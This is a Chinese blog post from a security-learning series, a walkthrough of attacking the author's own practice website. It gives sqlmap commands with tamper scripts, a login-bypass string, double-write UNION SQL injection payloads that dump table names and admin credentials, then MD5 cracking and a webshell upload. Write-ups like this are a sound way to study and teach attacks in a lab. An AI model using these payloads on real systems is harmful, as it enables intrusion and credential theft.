SQL注入(4)——实战SQL注入拿webshell

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP

通过一个实例来进行SQL注入的实战。

源码下载:
GitHub:https://github.com/13337356453/SQLTest/
CSDN:https://download.csdn.net/download/realmels/19136813

前言

SQL注入也讲了这么多了,都是些理论的东西,这边我自己随便弄了个小靶场来练习SQL注入。

我这个小靶场是根据我之前通过SQL注入弄下来的靶场改的(当然不可能找个网站来黑,要遵纪守法),大体和原理是差不多的,没有好看的CSS,代码也很简陋。

同时这是我第一次接触PHP,本人不是搞前端的,能用就行。

在使用之前,先下载源码。

创建密码为SQLTestsql用户。或在model.php中配置MySQL连接信息。并执行sqltest.sql文件。

可以在下载源代码后自己不看源码尝试一下,作不出再看源码。同时该博客有详细解析。

测试ip :192.168.1.7


测试流程

访问网站的主页,到处看看有什么东西。

SQL注入(4)——实战SQL注入拿webshell_第1张图片

访问新闻页面,发现有参数id怀疑存在SQL注入,输入and 1=1and 1=2进行测试。

SQL注入(4)——实战SQL注入拿webshell_第2张图片
SQL注入(4)——实战SQL注入拿webshell_第3张图片都返回了正常的界面,不确定是否存在注入漏洞,放进SQLMap里扫一手。

sqlmap -u http://192.168.1.7/news.php?id=1 --random-agent -level 3 --tamper base64encode,equaltolike -batch

在它慢慢扫的时候,继续看其他的页面。

看见有一个用户信息获取的界面,可以输入用户id以获取用户信息。
SQL注入(4)——实战SQL注入拿webshell_第4张图片
随便输入1,按下查询,页面没有发生变化,弹出了id为1的用户信息。
SQL注入(4)——实战SQL注入拿webshell_第5张图片
此时SQLMap扫的差不多了,并没有发现注入漏洞。
在这里插入图片描述
界面没有刷新,盲猜是Ajax的数据提交。

用bp抓包看一下。
在这里插入图片描述
SQL注入(4)——实战SQL注入拿webshell_第6张图片
id参数可控,输入and 1=1and 1=2进行测试
SQL注入(4)——实战SQL注入拿webshell_第7张图片

SQL注入(4)——实战SQL注入拿webshell_第8张图片
两次都无响应,不过先不慌,用SQLMAP扫一手。

右键请求,复制到文件,将其保存到文件

SQL注入(4)——实战SQL注入拿webshell_第9张图片
我这里将文件保存为1,可以打开文件查看内容
SQL注入(4)——实战SQL注入拿webshell_第10张图片

POST /getUser.php HTTP/1.1
Host: 192.168.1.7
Content-Length: 12
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.7
Referer: http://192.168.1.7/user.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

id=1

文件中储存了请求的内容,先cd到同一路径,然后用SQLMAP扫一手

sqlmap -r .\1 --random-agent -level 3 -tamper base64encode,equaltolike -batch

在这里插入图片描述
继续观察网页,在url后面加上一个admin,直接出了后台地址。

SQL注入(4)——实战SQL注入拿webshell_第11张图片
输入万能密码试一下。
’ or ‘1’=‘1’–+
SQL注入(4)——实战SQL注入拿webshell_第12张图片
并没有什么用。

此时SQLMAP差不多扫好了,看看。
在这里插入图片描述
也没有扫出来,这就有点尴尬了,不过问题不大,有时工具会误判,手工试一下。

常见的绕过脚本有大小写绕过,双写绕过,两次URL全编码绕过等。这里一个一个试。

大小写
payload : id=1 AnD 1=1
SQL注入(4)——实战SQL注入拿webshell_第13张图片
无响应。

双写绕过
payload : id=1 anandd 1=1
SQL注入(4)——实战SQL注入拿webshell_第14张图片
返回了正常的请求,有戏。
输入

payload : id=1 anandd 1=2

SQL注入(4)——实战SQL注入拿webshell_第15张图片
确认存在注入漏洞。


获取回显位置
payload : id=-1 ununionion selselectect 1,2,3
SQL注入(4)——实战SQL注入拿webshell_第16张图片
三个位置都可以回显。

爆数据库版本,数据库名,用户
payload : id=-1 ununionion selselectect version(),database(),user()
SQL注入(4)——实战SQL注入拿webshell_第17张图片
爆表名
payload : id=-1 ununionion selselectect 1,2,group_concat(table_name)+frfromom+infoorrmation_schema.tables+wwherehere+table_schema=database()
SQL注入(4)——实战SQL注入拿webshell_第18张图片
得到表名为admin,news,products,users

爆列名
payload:id=-1+ununionion+selselectect+1,2,group_concat(column_name)+frfromom+infoorrmation_schema.columns+wwherehere+table_schema=database()+anandd+table_name='admin'
SQL注入(4)——实战SQL注入拿webshell_第19张图片
爆内容
payload : id=-1+ununionion+selselectect+1,2,group_concat(uname,',',pwd)+frfromom+admin+limit+0,1
SQL注入(4)——实战SQL注入拿webshell_第20张图片

得到的pwd是一个md5值,在在线解密网站上进行解密。
https://www.cmd5.com/
SQL注入(4)——实战SQL注入拿webshell_第21张图片
登录后台。

SQL注入(4)——实战SQL注入拿webshell_第22张图片
有文件上传点,直接上传WebShell,蚁剑连接

在这里插入图片描述
SQL注入(4)——实战SQL注入拿webshell_第23张图片
渗透成功。

结语

此外,还有其他的方法,可自行尝试

本人小白,希望各位大佬能给我提出意见。

你可能感兴趣的:(安全,安全)